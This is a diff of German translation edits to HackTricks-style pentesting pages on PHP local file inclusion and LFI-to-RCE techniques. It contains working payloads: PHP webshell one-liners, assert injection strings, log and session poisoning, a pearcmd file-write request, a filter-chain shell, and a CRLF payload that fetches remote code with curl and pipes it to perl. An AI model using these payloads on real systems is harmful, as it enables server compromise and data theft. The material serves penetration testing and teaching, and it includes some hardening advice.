+Wenn das LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` oder `filesize()` — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle hängt mit dem Lesen von Dateien über das `phar`-Protokoll zusammen.

-Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungs-Schwachstellen im Zusammenhang mit `.phar`-Dateien, siehe das unten verlinkte Dokument:
+For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:

 [Phar Deserialization Exploitation Guide](phar-deserialization.md)

@ -372,36 +373,36 @@ phar-deserialization.md

 ### CVE-2024-2961

-It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Kurzfassung: Ein **3 byte overflow** im PHP-Heap wurde ausgenutzt, um die **Kette freier Chunks** einer bestimmten Größe zu verändern, um **beliebigen Inhalt an beliebiger Adresse schreiben** zu können, weshalb ein Hook hinzugefügt wurde, um **`system`** aufzurufen.\
-Es war möglich, Chunks bestimmter Größen zu allocen, indem weitere php filters missbraucht wurden.
+Es war möglich, **any arbitrary file read from PHP that supports php filters** zu missbrauchen, um RCE zu erlangen. Die detaillierte Beschreibung kann [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Sehr kurze Zusammenfassung: ein **3 byte overflow** im PHP-Heap wurde missbraucht, um **alter the chain of free chunks** einer bestimmten Größe zu verändern, sodass es möglich wurde, **write anything in any address** — daher wurde ein Hook hinzugefügt, der **`system`** aufruft.\
+Es war möglich, Chunks bestimmter Größen zu allocieren, indem weitere php filters missbraucht wurden.

 ### Weitere Protokolle

-Weitere mögliche[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Siehe weitere mögliche[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**

- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion Angriff nützlich sein kann)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie das in einem file inclusion Angriff nützlich sein kann)
 - [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
 - [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
 - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
 - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die einem Muster entsprechen (Gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die dem Muster entsprechen (Es gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
 - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Nicht nützlich, um beliebige Dateien zu lesen)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)

-## LFI über PHPs 'assert'
+## LFI via PHP's 'assert'

-Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch im Umgang mit der 'assert'-Funktion, die Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal Zeichen wie ".." geprüft, aber nicht richtig bereinigt werden.
+Local File Inclusion (LFI)-Risiken in PHP sind besonders hoch, wenn die 'assert'-Funktion verwendet wird, da sie Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht korrekt bereinigt werden.

-Beispielsweise könnte PHP-Code so ausgelegt sein, directory traversal zu verhindern:
+For example, PHP code might be designed to prevent directory traversal like so:
 ```bash
 assert("strpos('$file', '..') === false") or die("");
 ```
-Während dies traversal verhindern soll, schafft es unbeabsichtigt einen Vektor für code injection. Um dies zum Auslesen von Dateiinhalten auszunutzen, könnte ein Angreifer Folgendes verwenden:
+Obwohl dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
 ```plaintext
 ' and die(highlight_file('/etc/passwd')) or '
 ```
-Ähnlich dazu, um beliebige Systembefehle auszuführen, könnte man verwenden:
+Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
 ```plaintext
 ' and die(system("id")) or '
 ```
@ -410,36 +411,36 @@ Es ist wichtig, **URL-encode these payloads**.
 ## PHP Blind Path Traversal

 > [!WARNING]
-> Diese Technik ist relevant in Fällen, in denen du die **control** über den **file path** einer **PHP function** hast, die eine **access a file** durchführt, du aber den Inhalt der Datei nicht siehst (wie ein einfacher Aufruf von **`file()`**), obwohl der Inhalt nicht angezeigt wird.
+> Diese Technik ist relevant in Fällen, in denen Sie die **control** des **file path** einer **PHP function** haben, die auf eine Datei **access a file** wird, Sie aber den Inhalt der Datei nicht sehen (z. B. ein einfacher Aufruf von **`file()`**), der Inhalt jedoch nicht angezeigt wird.

-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um den Inhalt einer Datei via an error oracle zu exfiltrate.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP filter ausgenutzt werden kann, um den Inhalt einer Datei via eines error oracle zu exfiltrieren.

-Zusammenfassend verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **big** zu machen, dass die **PHP function opening** die Datei einen **error** auslöst.
+Kurz gesagt, die Technik nutzt die **"UCS-4LE" encoding**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP function opening** der Datei einen **error** auslöst.

-Dann wird, um das erste Zeichen zu leak, der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** genutzt, um **place other chars at the beggining and leak them**.
+Um dann das erste Zeichen zu leak, wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen an den Anfang zu setzen und diese zu leak.

-Funktionen, die anfällig sein könnten: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`

-Für technische Details siehe den genannten Beitrag!
+Für die technischen Details siehe den erwähnten Beitrag!

 ## LFI2RCE

 ### Arbitrary File Write via Path Traversal (Webshell RCE)

-Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad unter Verwendung von von Benutzern kontrollierten Daten (z. B. ein Dateiname oder eine URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und ein beliebiges Datei-Write verursachen. Wenn du das Payload in ein web-exposed Verzeichnis platzieren kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
+Wenn serverseitiger Code, der Dateien entgegennimmt/uploadet, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) ohne Canonicalisierung und Validierung zusammensetzt, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn Sie die Payload in ein web-exposed directory platzieren können, erhalten Sie normalerweise unauthenticated RCE, indem Sie eine webshell ablegen.

-Typischer Exploit-Ablauf:
- Identifiziere ein Schreib-Primitive in einem Endpoint oder Hintergrund-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, usw.).
- Bestimme web-exposed Verzeichnisse. Häufige Beispiele:
+Typical exploitation workflow:
+- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Determine web-exposed directories. Common examples:
 - Apache/PHP: `/var/www/html/`
 - Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
 - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Storage-Verzeichnis in die Webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe das abgelegte Payload im Browser auf und führe Befehle aus.
+- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
+- Browse to the dropped payload and execute commands.

 Hinweise:
- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP-Port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später dein Payload bereitstellen.
- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von Canonicalisierung/Allow-Listing ist der Kernfehler.
+- Der verwundbare Dienst, der den Schreibvorgang ausführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Webportal (anderer Port) wird später Ihre payload ausliefern.
+- Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher `File`/`Paths`-Konkatenation implementiert. Das Fehlen von canonicalisation/allow-listing ist der Kernfehler.

 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
 ```xml
@ -465,26 +466,27 @@ in.transferTo(out);
 </Command>
 </JMF>
 ```
-Härtungsmaßnahmen, die diese Klasse von Schwachstellen abwehren:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Unterverzeichnis eines zugelassenen Basisverzeichnisses ist.
- Jeden Pfad ablehnen, der `..`, absolute Wurzeln oder Laufwerksbuchstaben enthält; generierte Dateinamen bevorzugen.
- Den Schreibprozess als niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den ausgelieferten Root-Verzeichnissen trennen.
+Härtungsmaßnahmen, die diese Klasse von Schwachstellen verhindern:
+- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
+- Alle Pfade ablehnen, die `..`, absolute roots oder drive letters enthalten; generierte Dateinamen bevorzugen.
+- Den Writer als low-privileged account ausführen und Schreibverzeichnisse von den served roots trennen.

 ## Remote File Inclusion

-Erklärt zuvor, [**follow this link**](#remote-file-inclusion).
+Weiter oben erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion).

-### Über Apache/Nginx-Logdatei
+### Via Apache/Nginx log file

-Wenn der Apache- oder Nginx-Server **vulnerable to LFI** im include-Mechanismus ist, können Sie versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php-Shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei zu includen
+Wenn der Apache- oder Nginx-Server gegenüber **LFI** in der include-Funktion verwundbar ist, kannst du versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, im **user agent** oder in einem **GET parameter** eine php shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei zu includen

 > [!WARNING]
-> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" verändert werden, **PHP dort einen Fehler wirft** und **nichts weiter ausgeführt wird**.
+> Beachte, dass **wenn du doppelte Anführungszeichen** für die Shell statt **einfache Anführungszeichen** verwendest, die doppelten Anführungszeichen in den String "_**quote;**_" umgewandelt werden, **PHP dort einen Fehler auslöst** und **nichts Weiteres ausgeführt wird**.
 >
-> Außerdem stellen Sie sicher, dass Sie **das payload korrekt schreiben**, sonst wirft PHP jedes Mal einen Fehler, wenn es versucht, die Logdatei zu laden, und Sie bekommen keine zweite Gelegenheit.
+> Stelle außerdem sicher, dass du **die Payload korrekt schreibst**, sonst wird PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler ausgeben und du wirst keine zweite Gelegenheit haben.

-Das könnte auch in anderen Logs funktionieren, aber **vorsichtig sein,** der Code in den Logs könnte URL encoded sein und dadurch die Shell zerstört werden. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
-Weitere mögliche Logpfade:
+Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
+
+Weitere mögliche Log-Pfade:
 ```python
 /var/log/apache2/access.log
 /var/log/apache/access.log
@ -500,42 +502,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin

 ### Per E-Mail

-**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.
+**Sende eine E-Mail** an ein internes Konto (user@localhost), die deinen PHP-Payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzubinden.

-### Über /proc/\*/fd/\*
+### Über /proc/*/fd/*

-1. Lade viele shells hoch (z. B.: 100)
-2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), mit $PID = PID des Prozesses (can be brute forced) und $FD = file descriptor (can be brute forced too)
+1. Lade viele shells hoch (zum Beispiel: 100)  
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der File-Descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)

 ### Über /proc/self/environ

-Wie bei einer Logdatei: Sende den payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert.
+Wie bei einer Logdatei: sende den Payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
-### Per upload
+### Via upload

-Wenn du eine Datei uploaden kannst, injiziere einfach das shell payload hinein (z. B.: `<?php system($_GET['c']); ?>`).
+Wenn du eine Datei uploaden kannst, injecte einfach das shell payload in sie (z. B.: `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
-Um die Datei lesbar zu halten, ist es am besten, in die Metadaten von Bildern/Dokumenten/PDFs zu injizieren
+Um die Datei lesbar zu halten, ist es am besten, Inhalte in die Metadaten der Bilder/Dokumente/PDFs einzubetten.

-### Per Upload einer ZIP-Datei
+### Per Zip-Datei-Upload

-Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:
+Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und rufe sie auf:
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Über PHP sessions
+### Über PHP-Sessions

-Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
+Überprüfe, ob die Website PHP-Sessions (PHPSESSID) verwendet
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
 ```
-In PHP werden diese sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
+In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert
 ```
 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -544,121 +546,121 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
 ```
 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
 ```
-Verwende das LFI, um die PHP-Session-Datei einzubinden
+Verwende das LFI, um die PHP-Session-Datei einzubinden.
 ```
 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
 ```
 ### Über ssh

-Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen.
+Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen

 ### **Über** **vsftpd** _**logs**_

-Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle besteht und Zugang zu einem exponierten vsftpd-Server möglich ist, können folgende Schritte in Betracht gezogen werden:
+Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle vorhanden ist und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

-1. Injiziere eine PHP-Payload in das Username-Feld während des Anmeldevorgangs.
+1. Injiziere eine PHP-Payload in das Benutzername-Feld während des Anmeldevorgangs.
 2. Nach der Injektion nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ abzurufen.

-### Über PHP base64-Filter (mit base64)
+### Über php base64 filter (using base64)

-Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP-base64-Filter einfach Nicht-base64-Zeichen. Du kannst das nutzen, um die Prüfung auf die Dateiendung zu umgehen: Wenn du base64 bereitstellst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
+Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Du kannst das verwenden, um die Dateiendungsprüfung zu umgehen: wenn du base64 lieferst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
 ```url
 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
-### Via php filters (no file needed)
+### Über php filters (no file needed)

-Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Das bedeutet im Wesentlichen, dass du **generate arbitrary php code** für das include erzeugen kannst, **without needing to write** es in eine Datei.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Was im Wesentlichen bedeutet, dass du **generate arbitrary php code** für das **include** **without needing to write** in eine Datei erzeugen kannst.

 {{#ref}}
 lfi2rce-via-php-filters.md
 {{#endref}}

-### Via segmentation fault
+### Über segmentation fault

-Lade eine Datei hoch, die als **temporary** in `/tmp` gespeichert wird; löse dann in derselben Anfrage einen **segmentation fault** aus. Die temporäre Datei wird nicht gelöscht und du kannst sie danach suchen.
+**Upload** eine Datei, die als **temporary** in `/tmp` gespeichert wird, dann löse in der **same request,** einen **segmentation fault** aus, und die **temporary file won't be deleted** — du kannst sie danach durchsuchen.

 {{#ref}}
 lfi2rce-via-segmentation-fault.md
 {{#endref}}

-### Via Nginx temp file storage
+### Über Nginx temp file storage

-Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
+Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erreichen:

 {{#ref}}
 lfi2rce-via-nginx-temp-files.md
 {{#endref}}

-### Via PHP_SESSION_UPLOAD_PROGRESS
+### Über PHP_SESSION_UPLOAD_PROGRESS

-Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich **enable the session for you**. Du könntest das missbrauchen, um RCE zu erhalten:
+Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich aktivieren. Das kannst du ausnutzen, um RCE zu erlangen:

 {{#ref}}
 via-php_session_upload_progress.md
 {{#endref}}

-### Via temp file uploads in Windows
+### Über temp file uploads in Windows

-Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erlangen:
+Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erreichen:

 {{#ref}}
 lfi2rce-via-temp-file-uploads.md
 {{#endref}}

-### Via `pearcmd.php` + URL args
+### Über `pearcmd.php` + URL args

-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Zudem ist es möglich, dem Script Argumente über die URL zu übergeben, weil angegeben ist, dass ein URL-Param ohne `=` als Argument verwendet werden soll. Siehe auch [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).

 Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-Das Folgende missbraucht eine CRLF vuln, um RCE zu erlangen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+Im Folgenden wird eine CRLF vuln missbraucht, um RCE zu erreichen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
 %0d%0a
 ```
-### Via phpinfo() (file_uploads = on)
+### Über phpinfo() (file_uploads = on)

-Wenn du eine **Local File Inclusion** und eine Datei gefunden hast, die **phpinfo()** mit file_uploads = on offenlegt, kannst du RCE erlangen:
+Wenn du eine **Local File Inclusion** gefunden hast und eine Datei **phpinfo()** offenbart wurde mit file_uploads = on, kannst du RCE erreichen:


 {{#ref}}
 lfi2rce-via-phpinfo.md
 {{#endref}}

-### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
+### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure

-Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren** kannst, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Tags hat**, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu **bypassen**:
+Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren kannst**, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Markierungen** enthält, kannst du versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:


 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 {{#endref}}

-### Via eternal waiting + bruteforce
+### Über eternal waiting + bruteforce

-Wenn du das LFI missbrauchen kannst, um **upload temporary files** und den Server die PHP-Ausführung **hang**en zu lassen, könntest du anschließend **brute force filenames during hours** durchführen, um die temporäre Datei zu finden:
+Wenn du LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** zu lassen, könntest du dann **stundenlang Dateinamen bruteforcen**, um die temporäre Datei zu finden:


 {{#ref}}
 lfi2rce-via-eternal-waiting.md
 {{#endref}}

-### To Fatal Error
+### Zum Fatal Error

 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).

-**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
-_Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht._
+**Ich weiß nicht, wie nützlich das ist, aber es könnte sein.**\
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>

-## Referenzen
+## References

 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@ -3,38 +3,38 @@
 {{#include ../../banners/hacktricks-training.md}}


-## Einführung
+## Einleitung

-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass man **php filters** verwenden kann, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass man beliebigen php‑Code für das include erzeugen kann, ohne ihn in eine Datei schreiben zu müssen.
+This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass man **php filters to generate arbitrary content** als Ausgabe verwenden kann. Das bedeutet im Grunde, dass man **generate arbitrary php code** für das include **ohne es in eine Datei schreiben zu müssen** erzeugen kann.

-Im Wesentlichen ist das Ziel des Skripts, eine **Base64**-Zeichenkette am **Anfang** der Datei zu erzeugen, die schließlich **dekodiert** wird und die gewünschte Nutzlast liefert, die von `include` **interpretiert** wird.
+Im Grunde ist das Ziel des Scripts, einen **Base64**-String am **Anfang** der Datei zu erzeugen, der schließlich decodiert wird und das gewünschte Payload liefert, das von `include` interpretiert wird.

 Die Grundlagen dafür sind:

- `convert.iconv.UTF8.CSISO2022KR` wird immer `\x1b$)C` an den String voranstellen
- `convert.base64-decode` ist extrem tolerant; es ignoriert im Grunde alle Zeichen, die kein gültiges Base64 sind. Probleme entstehen, wenn es unerwartete "=" findet, aber diese können mit dem `convert.iconv.UTF8.UTF7` filter entfernt werden.
+- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
+- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.

 Die Schleife, um beliebigen Inhalt zu erzeugen, ist:

-1. `\x1b$)C` wie oben beschrieben an unseren String voranstellen
-2. Eine Kette von iconv-Konvertierungen anwenden, die unser initiales Base64 intakt lässt und den Teil, den wir gerade vorangestellt haben, in einen String umwandelt, in dem das einzige gültige Base64-Zeichen der nächste Teil unseres Base64-codierten php-Codes ist
-3. Den String base64-decodieren und wieder base64-encodieren; dadurch werden alle dazwischenliegenden störenden Zeichen entfernt
-4. Zurück zu 1, falls das aufzubauende Base64 noch nicht fertig ist
-5. Base64-dekodieren, um unseren php-Code zu erhalten
+1. füge `\x1b$)C` an den Anfang unseres Strings wie oben beschrieben
